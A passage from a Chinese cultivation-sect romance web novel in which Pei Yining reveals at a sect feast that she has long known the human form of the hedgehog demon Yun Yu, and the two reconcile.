方才在剑法阁转了一圈,都没能找到她。” 骗妖。 云榆皱鼻, 含着幽怨:“师姐方才说,那人临时出宗的,她没有和师姐说吗?” 小刺猬现在越发聪明了,裴依宁扫过身前的草地,矮身坐下。 她素来没什么架子,长腿伸直,另一腿曲起,拍拍身边的位置,道:“说来可能会惹得云师妹发笑。我惹饭搭生气了,想去哄她,可又找不到她在哪。” 云榆居高临下地望着坐下地上的人。 只听得她继续道:“在这遇见师妹,总觉得这件事说出来,会有损颜面。” 云榆将信将疑:“真的?” 裴依宁歪头:“云师妹很好奇?” 云榆肯坐下了,双腿盘着:“有点。” 眼眶和喉咙间的涩意褪去些,她悄悄瞥了眼那串烤鱼,上面有一层很淡的,肉眼可见的灵力保护,是以烤鱼的香气和温度被很好的保留。 她的小尾巴忍不住要翘起,刚刚裴依宁说,是要去哄她的饭搭。 那不就是要去哄她吗。 这条烤鱼本就是为她云小刺猬准备的,给她吃亦是理所当然。 她等着裴依宁再次邀请她食用。 裴依宁弯下唇,捏起一点鱼肉填入口中:“只可惜她或许不在宗内,或者不想见我,躲了起来。”眼角的余光扫到云榆目不转睛盯着烤鱼的视线,她微微笑,“本想避免浪费,与云师妹一同解决。” 她叹气:“但云师妹许是不喜欢吃,等会我去问问杜师妹吧。” 云榆瞪大了眼睛,谁说她不吃的。 她急忙改口:“我……我吃,裴师姐,我吃的。” 脸顷刻间又红了。 是本来就是她的。云榆安慰自己。 裴依宁被她转变的态度逗到,捏起一块鱼肉,侧身递到云榆唇边。 云榆盯着她的手看。 裴依宁似才想起,歉意地道:“云师妹有筷子或者可以夹鱼肉的物件吗?” 裴依宁十指纤细修长,修剪圆润,指骨泛着浅淡的粉意,完美的像是工艺品。 就是这样的手,正捏着一块鱼肉,在她唇边来回晃动。 云榆猛地眨眼,揽过垂落的发丝,头一伸,避开裴依宁的手,含住鱼肉的一端,舌尖自下黏住鱼肉,卷入口中。 在她头探来的瞬间,温热的呼吸有一刻落在指背处,酥酥痒痒地勾着心。 裴依宁长睫颤动。 云榆含着那块鱼肉,脸存绯意,欲盖弥彰地掩饰:“谢谢师姐喂我,有的吃就好,我不挑的。” 裴依宁又撕下一片:“我手是干净的,用灵力清理过的,”她有心打趣某只藏起来的小刺猬,“师妹不放心,师姐可以当着你的面再洗一遍。前面就是溪流。” 云榆抿唇,想瞪她一眼,可畏惧师姐的威严,小声地说:“不用的。” 这条烤鱼几乎是被云榆吃完的,裴依宁喂了她几口后,便克制地收手,将整条鱼伸给云榆。 本就十数个月没能尝过好滋味,云榆本要矜持两下,可馋虫被勾出。 在裴依宁面前,她释放天性,埋头苦吃。 偶有几次抬头,会撕下些给裴依宁:“师姐,你不吃吗?” 裴依宁道:“你吃,我不饿。” “哦。”云榆将撕下的塞入口中。 裴依宁胃口一直很小。 没划开界限前,每每夜间约饭,裴依宁总是只吃几口,便放下筷子,用公筷给她夹菜,盛汤。 裴依宁将小刺猬照顾得很好。 云榆吃到中途,开始怀念裴依宁对她的好。 对方已经主动找她,主动示好,主动低头了。 云榆偷偷看了眼裴依宁,却见女人侧脸靠在曲起的腿上,泼墨长发顺直地贴着那条腿而下。 娴静端庄。 这是云榆对这个姿态的裴依宁的评价。 此刻,娴静端庄的女人正眉眼弯弯地看着她。 云榆忽而发觉,与裴依宁自持相比,自己这幅颇有种狼吞虎咽的样子,过于不斯文了。 她捧着烤鱼两端的签子,斯斯文文地,小口小口地吃。 她的好形象不会因为方才的样子,荡然无存吧。 云榆心事重重地吃。 都怪裴依宁,这几日,都没有说给她做一顿饭。 让她一副没见过世面的样子。 不原谅她了。 云小刺猬自作主张地撇清自己的原因,将其堆积到裴依宁身上,然后心安理得地细嚼慢咽,挽回几乎不存在的形象。 裴依宁拭去她唇边的肉屑和油渍问:“云师妹,好吃吗?” 云榆点点头:“好吃。” 裴依宁笑:“好吃便好,手艺没下降。”她蹙眉为难,“将给饭搭的烤鱼给云师妹吃了,要是被那小动物知道,又要生我的气了。” 云榆挺直腰板:“小动物没那么小气。” 裴依宁不置可否。 云榆有心安慰她:“别多想,说不定哪天回去的路上,那小动物就突然出现在你面前了呢。” 裴依宁问:“是这样吗?” 云榆煞有其事地点点头,镇定自若地夸自己:“自然是,小动物心胸宽广。” 裴依宁深深地望着她。 看来小刺猬是要原谅她了。 时候差不多了。 裴依宁曲起的腿伸直,双掌反撑在草地上,上半身往后倒去,仰头:“云师妹这几日忙吗?” 云榆反道:“裴师姐先说。” 裴依宁道:“过几日灵丹堂宴请全宗,不知师妹是否有空。” 云榆茫然:“宴请全宗?” 裴依宁道:“是。” 云榆咂舌:“那要多少灵石啊。” 峰阁与峰阁之间的差距再一次显现出来。杜师姐每日想着如何从其她峰阁那寻得好处,而别的峰阁的人,已经在想宴请全宗了。 她心疼剑法阁,心疼杜师姐,更心疼自己。 裴依宁淡笑:“几瓶高品阶丹药的事罢了。” 云榆:“……” 够了,心寒。 这么轻飘飘的一句话,涵盖了剑法阁的多少心酸。 她很有气势地:“去!” 本打算提前将这件事告知杜师姐等人,可当云榆回去时,剑法阁已是欢腾一片。 云榆好奇地凑到几位同门前。 只听得她们惊喜异常。 “不愧是灵丹堂,财大气粗,我这几天要不吃不喝,等着灵丹堂的那顿饭。” “对身体不好吧。” “都是修炼者,一顿饭而已,再怎么吃,也不会有事。” “杜师姐这么早跟我们说,就不怕我们没心情练剑啊。” 一阵阵的交谈声不绝于耳。 云榆拉过一人:“你们在说什么?” 那人道:“杜师姐说,两日后,灵丹堂宴请全宗,你没听见吗?” 云榆:“什么时候说的。” 那人:“方才说的。” 云榆松开她,一个抬眼瞧见不远处与另一位师姐说话的杜寻雁,她几个健步过去。 杜寻雁看见她,对她招招手:“云师妹。” 云榆蹿过去。 杜寻雁问:“怎么才见你,知道灵丹堂的事了吗?” 云榆点点头,好奇:“杜师姐什么时候知道的。” 杜寻雁道:“半柱香前。” 那她比杜师姐知道的还要早。 还是灵丹堂的大师姐亲自告诉她的。 某只妖压着唇角,故作镇定地“哦”了声:“这样啊,我也差不多这个时候知道的吧。嘿嘿。” 杜寻雁嫌弃地睨她一眼。 云榆视而不见,对于两日后的宴请之事极为期待,以至于看裴依宁都越看越喜欢,越看越顺眼。 譬如现在,毫无修炼念头地坐在裴依宁身边,下巴搭在灵力构建成的透明桌上。 黏满墨液的笔尖在宣纸上游移,一横一竖间浮满道义。 裴依宁润笔的间隙:“云师妹,今日怎得学会偷懒了。” 云榆摇头晃脑:“如果我说,期待明日的宴请,师姐信吗?” 笔尖悬在纸面,裴依宁一顿,一团墨点落下,晕染出四散的细小丝状:“你说我自是信。” 况且,小刺猬本就贪食,因吃食而忽略修炼,太正常不过。 只一点,裴依宁换张宣纸:“仅此一次,往后不可这般。” 她增添一条:“若是我邀你,自当不用遵守仅此一次之语,只管期待便好。” 云榆:“为什么?” 裴依宁用笔杆点她:“练剑去,问题越发多,越发没了规矩。” 等明日过后,岂不是更加没规矩了。 只是一想那个画面,裴依宁就觉棘手。 小刺猬不会再生她的气吧。 因她事先就知道对方的人形。 有些忧虑。 云榆捂住被敲打的地方,趁裴依宁专注于纸上文字,她口型动动,无声的拉长声音:“越发没了规矩~” 岂料裴依宁又是敲了她一下,头也不抬:“再这般不守规矩,我就让杜师妹单独教教你。若是杜师妹教不了,我便把你带到灵丹堂。” 她一笔拉下,墨色晶润:“让灵丹堂的人教导你。” 此言一出,云榆做了个闭嘴的动作。 等着吧,笨蛋裴依宁。 等明晚她吃完灵丹堂的那顿宴请,就当着裴依宁的面化成小刺猬,吓她一大跳。 让她知晓,敲打的究竟是谁。 区区一个小跟班,怎可敲打她。 太不给她云小刺猬面子了。 云榆幻想明晚,裴依宁的惊愕,忍不住笑出声来。 引得裴依宁又是一个敲打过来:“看来,云师妹很想让灵丹堂的人教导,稍后我便传音于杜师妹,将你带回去。” 云榆心里想得多开心,面上求饶就有多快:“我错了,裴师姐,我现在就去好好修炼。” 说完,老老实实地退去一边。 裴依宁擒着笔,见她当真于修行之事了,在新的宣纸上,写下“云榆”,“星星”四字。 待到墨干,她素手一弹,上方的墨迹消失于无。 她交叠数次,放于桌角。 而后,裴依宁垂目审阅灵丹堂内最近一次考核的师妹们的各项成绩。 其中有两位师妹在炼丹,辨药,提炼等方面尤为突出,在一众新弟子中过于引人注意了。 她翻阅入宗时期的考核,其中一位刚入宗时还是平平,几个月,便是追上并超过了其她人。 另一位则是入宗时表现就不错。 裴依宁将两人的名字画上圈。 时间悄无声息地流逝,裴依宁审阅完手头上的册页,押了口煮好放置在一边的茶杯,好以整暇地守着十数米外的人。 若是早些踏入修炼之途,以云榆的资质定然不止于此。 裴依宁不由得想起云榆提及她姐姐的事。 云榆的姐姐在哪里,云榆每次提及她姐姐时,不乏思念。 她们之间莫不是没有联系了。 裴依宁坐直了身体,不再多想。 云榆从修炼状态中脱出,一睁眼就看见裴依宁定定的目光。 她提剑快步走过去,剑拍在透明桌上。 那张被折叠的宣纸过于惹眼,云榆手一指:“这个不要了吗?” 今日的云榆越发不懂敬重师姐,前两日分明还会一口一个师姐,克制有礼。 这样也好。 云榆与她有亲近之意。 裴依宁两指夹起,投掷而出。 两人之间距离过近,云榆下意识抬掌握住。她不明所以地打开一开,空空如也,只是一张普通的纸页。 裴依宁淡淡道:“明日宴请结束后,上方会显出字来。” 云榆左看右看,翻来覆去没看出什么稀奇的,但对于裴依宁的话,她自是会听:“好的,裴师姐,明日我会随身携带,努力在文字显出那刻看见。” 她朝气蓬勃,裴依宁迟疑片刻,用笔杆戳中云榆的脸颊。 挤压一侧的软肉。 云榆不反抗,只问:“裴师姐在灵丹堂,也是这么对待众多师妹的吗?” 裴依宁道:“不会。” 云榆轻咳两声:“只对我这般?” 裴依宁拿昔日的话回她:“云师妹,我记得我不止一次说过,和你相处我很开心。” “我很喜欢你。”裴依宁字字清晰。 * 今日云榆的心情更是好到每一位路过的同门都能感受到。 应滟和卞凝交头接耳,神神秘秘地偷说什么,云榆看见了也不管,不好奇。 等她们说完了,云榆懒洋洋地道:“在说什么,给我听听?” 应滟一本正经地摇头:“不给你听。” 云榆耸肩,不放在心上,多半是猜测她今日为何这般开心。 一想到马上就要在裴依宁面前化形,在脑海中,将各种裴依宁的神情和可能说的话语过一遍后,云榆就止不住的激动。 许是整个宗门都被灵丹堂宴请一事感染,皆是喜气洋洋。 宗主和各大峰阁的阁主亦是睁一眼看闭一只眼,让这群弟子去折腾了。 宴请当日,各种吃食送往各大峰阁,云榆喜滋滋地捧着裴依宁给的那张空白宣纸,浑然没注意到周围的人。 忽地,她被人撞到。 云榆踉跄几步,“哎呦”过后,两位正抬着东西的女子焦急扶住她,一个劲地道歉。 都是同门,况且她也没有看路,云榆摆摆手表示没事。瞧着她们抬着的东西,好奇道:“这是做什么?” 其中一女子道:“灵丹堂送来的食物。” 云榆道:“不是去灵丹堂吗?” 女子道:“是这样,但顾及到有的同门不喜与生人一同,裴师姐让我们各个峰阁都送些过来。在自己峰阁内,或是去灵丹堂都可以。” 云榆:“原来如此。” 裴依宁考虑地极为周到,她都想留在剑法阁,和几位熟识的师姐妹一起了。 但想归想,倒不可能真的不去,她可是裴依宁亲自单独邀请的人。 全宗有同样待遇的,想来没几个。 “云师妹?”一道温柔的声音插入。 云榆扭头。 风浅念和原以诗并肩而行。 云榆拱手:“原师姐,风师姐。” 风浅念一袭白衣,银发飘逸,不像平日束起得规整:“云师妹拿着的是?”陷驻夫 她和原以诗远远就见云榆捧着那张宣纸,时不时露出让人看不懂的笑。 今夜灵丹堂的宴请,其余人或许不知,但风浅念和原以诗自是知晓,甚至她们此番来剑法阁,也是因某人的请求,过来确保云榆会去灵丹堂。 云榆道:“一张纸,”她补充,“裴师姐给我的。” 她的语气过于骄傲了,风浅念隐约从中看出谁的影子,她不动声色地侧头。 是了,原师姐也曾这般过。 捕捉到风浅念投来的目光,原以诗淡漠的神情柔软许多,身体悄然往风浅念靠去些,垂下的手一碰即逝地擦过风浅念的手。 风浅念温声问:“云师妹现在可是去灵丹堂?” 云榆道:“是。” 云榆走后,风浅念轻笑声,斜侧过身,打趣某个神情淡漠,耳根却染上点点绯红的人:“原师姐?” 原以诗护着她的侧身:“别摔到了。” 她别开目光,两根手指滑到风浅念的手腕处。 风浅念本以为原以诗要牵她的手,纵容地没有多动。 但原以诗蹲下身,不知何时出现的手帕捏在手中,擦过风浅念鞋边的一点泥渍。 片刻后,原以诗起身,牵住风浅念的衣袖:“走吧。” 风浅念怔愣一瞬,无声地弯唇,反手牵住原以诗,眉宇间的温柔尽显:“原师姐,我们要快些了,不然赶不上好位置了。” 话音刚落,她牵着原以诗加快步伐。 云榆刚踏入灵丹堂峰阁,来不及感概今日的人多,迎面撞上纳兰然。 今日碰到认识的师姐的次数太多了。 云榆又是拱手,恭敬有礼:“纳兰师姐。” 纳兰然等她许久,与她客套两句后,引着云榆直往灵丹堂内部而去。 穿过重重殿宇,内里的人越来越少,陌生的场景越来越多。 是她潜入灵丹堂偷吃时未曾进入过的。 纳兰师姐与杜师姐关系极好,云榆自不担心对方会引自己去不知名的地方。 她规规矩矩地跟着,不多问。 约莫走了一炷香的时间,她被引道某处连接前后殿宇的中央空地处。 那里聚集的人多是她认识的。 裴依宁,杜师姐,卞凝,应滟都在。 在看见后面三人时,云榆疑惑,这三人怎么来得比她还快。 不久后,原以诗和风浅念等人相继到来。 云榆本想和杜寻雁等人坐在一起,正要往杜寻雁那走,却被纳兰然拦住,径直安排在裴依宁身边。 云榆只好传音给杜寻雁:【杜师姐,其实我是想和你们坐一起的。】 杜寻雁给她一个懂得都懂的眼神,传音:【没事,混口吃的,在哪都行。对了,别忘了今日趁裴师姐心情好,问她要点丹药。】 云榆:“……” 这个时候还想着丹药,云榆要被杜师姐的精神感动了。 云榆:【我努力。】 杜寻雁:【不愧是我最器重的师妹之一。】 整个剑法阁的师妹,她都器重。 云榆和杜寻雁传完音,笑容还没散下去,察觉到身边的视线。 她表面恭敬:“裴师姐好。” 裴依宁温柔如旧:“云师妹……好。” 宴会已开,香味四溢。 她另一边坐着的是风浅念,风浅念旁边是原以诗,两位师姐凑在一起。 原以诗不时将烤好的食物放到风浅念碗中,风浅念亦是如此。 云榆不敢多看。 她起先还故作矜持,可见周围无人在意她,都自顾自地吃食,与身侧人聊天,云榆渐渐地放肆了许多。 更关键的是,无需她自己动手,刚吃完手头上的,身边就会再递来一串。 默契极了。 没出息地多吃了几串裴依宁递来的烤好的肉串,云榆舒服地眯起眼睛。 裴依宁笑:“好吃吗?” 云榆心情大好:“好吃。” 小跟班手艺一如既往地好。 裴依宁:“那还能当你跟班吗?” 云榆笑容僵硬,一脸不可置信地望向裴依宁,眼底的震惊溢满:“你说什么?” 裴依宁缓而慢地重复:“还能当你的小跟班吗,星星?” 云榆:“……” 她不是人形吗?怎么被认出来的? 作者有话说: 云榆:??? 来晚了 本章掉落五十个小红包 第62章 第六十二章[VIP] 火光映在云榆不知所措的脸上, 橙黄色的焰火在她身上跳动,与之交相呼应的,是裴依宁倒映在她眼底虚影。 捏着的那串烤肉因无力而掉落在地,其中一块脱离了竹签的控制, 在地上滚动两圈, 横立在那。 云榆唇齿蠕动,一句话都没能说出。 裴依宁面上云淡风轻, 而在无人看见的地方, 她指骨绷紧,五指紧扣掌心, 一瞬不瞬地盯着云榆的表情。 云榆是否会像上次那般,数月不理她, 或者是,再也不见她。 她无法猜到云榆的想法。 漫长的时间下,两侧的人注意到她们间不正常的氛围。 风浅念稍一偏头,身边的两人正对视相望,却都不发一言, 无言的诡异弥漫开来。 她轻轻拽住原以诗的衣衫, 扯动两下。后者自然而然地循着风浅念的示意看去过。 片刻后, 她往另一侧挪动些许:“往我这坐坐。” 风浅念睨她一眼, 两人皆是收回目光, 只当不清楚云榆和裴依宁两人间的暗流涌动。 云榆捡起掉下的肉串, 探身接过一杯白水,顺着竹签上端往下淋。 是在简单清洗肉串上沾到的草屑。 就着湿漉漉的肉品, 她咬下一口, 肉汁与水流在口腔中碰撞,味道减淡了许多。 云榆在口中含了会:“你把方才的那话再说一遍。” 那晚被小刺猬发现身份时, 小刺猬表露的情绪浮在眼前,远比现在激烈得多。 云榆此刻平静淡然得让裴依宁越发心慌。 裴依宁虎口压在杯沿边,藏着几分惴惴不安:“还能当你的小跟班吗,星星?” 云榆捏下一块肉粒,填入口中,微微颔首:“嗯。” 很轻很淡的回应,在裴依宁脑中轰然炸裂。 她预料的,云榆得知这件事后,最好的结果是晾她几日。而今,云榆这种平淡的反应远超她原先的预计。 没有质问,没有冷脸,只是轻飘飘地一个“嗯”字。 云榆咽下最后一块肉粒,竹签扔进火堆:“再给我递一串,多放点辣,烤焦点。”她停顿下,“裴师姐,麻烦你了。” 裴依宁定定地坐在那,片刻后,遵循着云榆的要求,捡出一串给她。 她小口吃着,矜持有加。 身侧的视线长久落在她身上,云榆头也不抬,捧起不知是谁给她倒的果酒,抿口润唇:“裴师姐,你不用这样一直盯着我看。”显驻富 现在人多眼杂,又有这些美食相伴,云榆不太想浪费时间在没意义的事上:“等结束后,我们私下再聊这些事。” 云榆含着咬牙切齿的笑:“届时,还请裴师姐能给我一个合理的解释。” 这个样子,不是会生气的样子。 “好的,星星,”裴依宁悬起的心一点点落下,她温声道:“还想吃什么或者喝什么吗?我给你取。” 云榆道:“都行,但别叫我小名。” 裴依宁:“那我唤你什么?” 云榆皮笑肉不笑:“裴师姐自是唤我一声师妹。” 这点事情还需要她教吗。 她真是要被这人气笑了。 云榆不断给自己心理暗示,告诫自己要沉得住气,尤其是在众多师姐在场的情况下,她更要保持住应有的姿态。 裴师姐的目标太大,另一边又是原师姐和风师姐,话音扬高点便能被听见。 更不方便的是,在这里,她不好施展拳脚。 裴依宁了然:“知道了,云师妹。” 宴请持续了一个半时辰,而后是各峰阁的人一同将灵丹堂收拾干净,三三两两离去。 云榆跟着剑法阁的人一同离开,离去前,她给裴依宁传了个音。 【裴师姐,我最多两刻钟便回来,还请师姐在灵丹堂峰崖边等我。】云榆。 裴依宁回:【好的,师妹。】 怀中抱着一酒坛的果酒,云榆跟着杜寻雁而行。 耳边是杜师姐喋喋不休的话语。 杜寻雁今夜显然是过于高兴了,喝得不少,醉醺醺的,走路都需要人扶才能走稳。 她摇摇晃晃地按住云榆的肩膀,大半个身体的力量压在云榆身上。 她身上的酒气并不难闻,混着果香。 云榆本想将杜师姐体内的酒水逼出,可灵力刚涌动,就被昏沉的人桎梏住。 杜寻雁咧咧嘴,不在意地说:“没事,让我晕一会。”拽开被风吹进口中的发丝,她问:“你今夜和裴师姐提丹药的事了吗?” 云榆心虚地没有回答。 杜寻雁见她这样就明白了,拍拍她的肩膀:没事,以后还有机会,我也忘记磨纳兰师妹了,稍晚点,我给她传个音,坑点出来。” “你们纳兰师姐,豆腐嘴豆腐心,最是……”杜寻雁眉心一皱,本能地感知到危险,话音一转,“最是好了。” 云榆应着:“是是是,杜师姐,我先送你回洞府。” 等送杜寻雁回洞府后,她就想办法逼出对方体内的酒水,以免出什么乱子。 两刻钟,当是来得及回来找裴依宁的。 云榆估算时间。 “云师妹。”一人叫住了她。 是纳兰然。 云榆收起抱着的果酒,扶在她肩上的女人身体一斜,差点摔倒。云榆手忙脚乱地扶住她,为难地喊了声:“纳兰师姐。” 纳兰然瞧见杜寻雁的醉样,无奈至极,她凭空取出一枚解酒丹,塞入杜寻雁口中。 药性发挥得很快,杜寻雁意识逐渐清明,只是额头泛着疼,喉咙亦是干涩无比。 纳兰然接过她,柔和的灵力注入杜寻雁体内:“杜师姐,感觉好些了吗?” 杜寻雁晃晃头,总算是明白方才醉意浓重时,那股危险从何而来,好在她改口改得快,不然日后都不好去问纳兰然要丹药了。 她忍着清醒的头晕脑胀,笑嘻嘻地道:“有纳兰师妹的丹药在,感觉自是甚好。” 纳兰然收手,笑得明媚:“那便好,我过来看看,有没有喝得过多的师姐妹,为她们递上一枚解酒丹。” 杜寻雁道:“师妹向来仔细。” 眼尖的从人群中看见某两人,她眼睛一亮,留下一句“多谢师妹替我解酒”后,一个健步迎着那两人而去。 云榆来没来得及喊她,杜寻雁的衣衫从她伸出的胳膊上滑走,几下淹没在同门中。 云榆:“……” 纳兰然看了会,低喃自语:“看来杜师姐又要去磨别人了。” 云榆不解:“纳兰师姐?” 纳兰然下巴微扬,点向十数米开外,被一众同门让出几分距离的人:“杜师姐是准备去要符纸了。” 云榆:“……” 杜师姐真的是无时无刻不想着为剑法阁谋福利。 云榆想看看是哪个倒霉师姐被她缠上,但转眼间,杜师姐和被她缠上的人消失不见了。 晚风浮动,云榆没再关注这个小插曲。 不过半柱香的时间,灵丹堂恢复到原先的静谧,别的峰阁的同门皆是离去。 云榆从峰阁上下去,等了半刻钟,确定无人后,她脚尖轻点地面,腾空而起,飞至高空。 踩在坚实的地面上,一道颀长的身影直直地撞入眼中。 是裴依宁。 裴依宁在等她。 云榆没有走过去。 裴依宁朝她走来:“云师妹,现在可以叫你小名了吗?” 云榆反问:“裴师姐想好如何解释了吗?” 她要知道裴依宁究竟是什么时候知道她的人形的。她从未在裴依宁表面表露过,即使在自以为裴依宁在装师姐时,也是恭恭敬敬地喊师姐,并无半分逾矩。 在不久前的宴请上,她边接受裴依宁的投喂,边思索可能的情况。 思来想去都没有找到原因。 若说是杜师姐告诉裴师姐的,云榆不相信。 她相信杜师姐的人品,在不经过她同意的情况下,不可能向裴依宁透露这些。 月影晃动,云层遮挡了绝大部分的光。 裴依宁道:“知道星星的人形吗?”她回忆,“是那位应师妹受伤,你送她来灵丹堂那日,那日,我知晓了你的人形。” 云榆自是记得,甚至印象极深,当时就是纳兰然叫了裴依宁一声师妹,她才对宁依的身份深信不疑。 原是那么早就暴露了吗? 她化形已经很成功了,怎么会被察觉。 知她心中疑惑,裴依宁继续道:“丹修对气味的感知极为明显,我对此更为敏感。那日刚靠近你,便是感知到你身上的气息,与我前一夜遇到的小刺猬一模一样。” “如此,确定了你的人形。”裴依宁道。 云榆呆愣,竟是这种原因。 属实是她没有想到的。 那她夜夜约饭时,在裴依宁面前说的那些话,对方岂不是早知是假。 云榆生无可恋地闭上眼。 她小刺猬的脸已经丢完了。 “星星,”女人唤她小名,“还有什么想问的吗?” 云榆:“……没了。” 她自言自语:“我早应该想到这点才对。” 裴依宁何以对她一个别的峰阁的人那么关注,何以会主动给人形的她做饭,何以会对人形的她那么关照…… 从始至终,都因她是她而已。 潜意识中,她或许对此有所怀疑,只是没有深层次的单独思考过这些。 裴依宁不确定她在想什么:“星星,你会生气吗?” 云榆支起眼睑,磨磨牙:“会。” 裴依宁脊背绷紧。 云榆握拳,愤愤道:“我本就打算宴请结束告诉你身份,吓你一跳,可你先吓到我了。你给我道歉!” 裴依宁一愣,从善如流:“对不起。” 云榆:“……” 小跟班道歉这么快,她再多说,显得咄咄逼人了。 可这口气她咽不下去。 她干巴巴地道:“没事,你今日主动告诉我了。不算是骗我。” 裴依宁纠正她:“昨日就告诉你了。” 云榆狐疑:“昨日你哪有说。” 电流连通大脑,云榆猛地想到那张宣纸,她立刻取出,展开。 原本空荡荡的纸页上多了四个字——云榆,星星。 云榆睁大眼睛。 似在心底积压了许久,裴依宁呼出一口气:“对于欺骗你的事,星星想怎么惩罚我,都可以。”她望着云榆那双晶莹的眸子,“我认罚。” 听闻此言,云榆咬住下唇,双手撑着那张宣纸,全身都在发抖。她三两下将宣纸按照原有的折痕叠好,放入空间储物中。 这件事当然不能就这样算了。 云榆憋着气,身形一点点变矮,化身成小刺猬。 她四肢着地,跑到裴依宁身前,跳到对方的鞋子上,身体立起,两只小爪子握成拳,捶打裴依宁的小腿。 在小刺猬有心拉开的距离下,她的每拳皆是落在裴依宁的衣衫上,不疼,但足够小刺猬发泄一番。 裴依宁低头,就见小刺猬踩在她鞋面上,对着空气一阵拳打脚踢。 被小刺猬幼稚的行径逗到,但裴依宁明智地没有笑。 这个时候笑,小刺猬或许就真的要打她几下出出气了。 “笨蛋裴依宁。”小刺猬仰头大叫,“把本刺猬捧起来。” 裴依宁弯身,捧起小刺猬:“星星。” 数月未见小刺猬,裴依宁拇指挑起,戳戳小刺猬柔软的肚子。 “住手。”小刺猬气呼呼地拍开裴依宁的指头,“你真是大胆,本刺猬大人还没跟你算账,你竟然如此不经过本刺猬大人的同意,擅自触碰本刺猬。” 小刺猬左看右看,抓住裴依宁的手指,往她掌心一趴,头一低,嘴一张,咬下去。 小刺猬总是雷声大,语言上说得多么严重,行为上就有多轻飘。 指节被咬在小刺猬上下齿间,被来回磨动几次。 温热的痒意。 小刺猬小心地拔出裴依宁的手指,用爪臂擦擦,满意地看着上方浅浅的牙印,短短的尾巴快要翘起:“这就是骗我的下场,看你还敢不敢。” 如果是这样的话,裴依宁想,她还是敢的。 这种算是惩罚吗? 裴依宁不知道。 但表面老实地表示:“不敢了,星星。” 小刺猬双爪环抱,坐在她的掌心,两条短小的下肢伸直,歪着头,只睁着一只眼睛看女人:“现在,本星星要跟你算账了。” 裴依宁:“嗯,好。” 小刺猬傲娇:“明知道我的人形,还故意来逗弄我。” 裴依宁:“我的错。” 小刺猬:“你在我面前当两面人。” 裴依宁:“我的错。” 小刺猬:“你在本星星不见你后,不主动来找我。” 裴依宁:“我的……” “打住。”小刺猬伸出抓住,做出禁止的意思,“我当然知道是你的错。我现在问你要理由。” 小刺猬捶她手:“你那几个月为什么不来找我。” 裴依宁苦涩:“我以为你不想见我。” 当时她去剑法阁,云榆躲避她躲避得过于明显了:“我不想让你更讨厌我。” 小刺猬心虚:“我没讨厌你。”她小声问,“那你为什么又突然用丹药换我每日的时间。” 裴依宁笑:“我想试试,时隔几个月,你会不会还不想见我。”她忍不住又去戳小刺猬的脸颊,“但好像试对了。” 小刺猬抓住她的手指:“暂时不准戳我。” 裴依宁应了声“好”后,又戳了两下。 小刺猬:“……笨宁依,”她补充,“笨裴依宁。” 小刺猬捏裴依宁那根不老实的手指:“以后不准骗我。” 她的气早就消散的差不多了。 裴依宁那么用心的弥补两人的关系,她再揪着这件事不放,太有损小刺猬的肚量了。 那几个月没吃到小跟班的手艺,她馋得不行,好在昨日与今日吃到了,缓解了她的馋意。 不对,还有一个账没算。 小刺猬腾地站起,在裴依宁掌心走了几步:“往你脸上移动点。” 裴依宁听从她的话。 小刺猬张开爪臂,捏住裴依宁两边脸颊,但由于她的爪子过短,只能抓住唇两边的皮肤。 她往两边拉:“你都知道我的人形了,为什么相处的这几日,不给我做饭。你太过分了,太过分了!” 小刺猬越想越觉得委屈。 她这几个月饭都没怎么好好吃过。 她用额头抵了下裴依宁的鼻尖:“罚你日日给我做饭。” 裴依宁认罚:“嗯,好,给你做饭。” 小刺猬松开她,女人唇两边的皮肤微微发红。 是被她捏的。 她有点过分了。 小跟班这么好看的脸,她怎么下得去手。 浑然不知道小刺猬生出愧疚之心的裴依宁想了想,道:“其实我是故意的。” 小刺猬:“……” 她一点都不过分,她就应该再用力点。 她就知道,她的小跟班底子里就是黑色的,表面的温良只是她的伪装。 裴依宁捏捏小刺猬脊背上的刺,轻声道:“因为我想知道,星星会不会忍不住,主动告诉我,你的人形。” 她捧着小刺猬蹲下去,柔和的月光洒在她的身上,模糊中蒙上一层如水的柔和气质:“可我先忍不住了。” 但星星控诉她的第一条,就是自己抢先戳穿了她的人形。 星星是打算今晚告诉她的。 裴依宁发现,小刺猬简单的一句话,就能将她哄好。 “裴依宁……”小刺猬轻轻唤她的名字,心疼地揉揉女人的唇角,“还疼吗?”她道歉,“我也有错。” 裴依宁点上她的爪背:“有点疼。” 她低声道:“星星化回人形给我揉,好不好?” 她想将与小刺猬的亲密,延续成和云榆的亲密。 星星摸着女人的脸,方才能说会道的小刺猬安静下来,漆黑色眼睛望着裴依宁红润的唇瓣:“变回人形,我可能不能再这样了。” 裴依宁捏住她的小爪子:“为什么?” 小刺猬低头:“我会不好意思的,”她说不清那种感觉,别捏地道,“会很奇怪。” 所以,她会变成刺猬形和裴依宁算账,若是让她以人形和裴依宁算账,她恐怕一句话都说不出来。 小刺猬皱巴着脸:“总觉得,变成人形,面对的是裴师姐。但刺猬形时,面对的是小跟班。” 分明是同一个人,可就是感觉不一样。 小刺猬抱住她的手,安抚性地蹭蹭:“可能是我的人形和你不太熟。” 裴依宁动动:“可不都是你吗?” 小刺猬说不出原因:“反正……反正就是怪怪的。”她顺着裴依宁的手腕,爬到对方的肩膀上,然后搂住女人的脖颈,“但我会努力适应的。” 她能感觉到本身对裴依宁的亲近。她昨日不还用人形和裴依宁开玩笑吗。 她说:“很快的。” 裴依宁舍不得为难她,不过一些时日而已:“嗯,不急的。” 她护着小刺猬:“小心点,别掉下来了。” 小刺猬自觉掉落到她的腕部:“那……我们算是和好了吗?” 裴依宁:“嗯?” 明明是某只小刺猬单方面和她划分的界限。 小刺猬抿抿唇:“我不生你的气了。你以后还是我的小跟班。” 灵丹堂大师姐甘心当自己的小跟班。 “不过,你为什么这么想当我的小跟班啊。”小刺猬好奇。 她自觉身上没有太多的闪光点,足以吸引到裴依宁。 “因为……你最好啊。”裴依宁笑道。 小刺猬被夸,忍住骄傲:“我知道我好。说原因。” 裴依宁收起笑意:“其实我也不知道。” 不知道为什么会初见小刺猬时,为什么那么耐心十足,答应当对方跟班,又为什么会喜欢上云榆。 连她自己都说不清是什么在支配着她,什么在吸引着她。 毫无条件的喜欢上。 无意深究其中的原因,裴依宁问:“星星,今晚去我那里吗?” 小刺猬爪子蜷缩在肚子上:“都这么晚了,我一只妖回去不安全。” 裴依宁弯唇,捧着小刺猬往自己洞府而去。 许久没有被裴依宁这般照顾了,小刺猬懒洋洋地趴在女人柔软的掌心,抱住其中一根指头,侧脸贴在上面,不时蹭动两下。 直到裴依宁洞府,小刺猬使了个净身术,蹦跳到裴依宁床上。 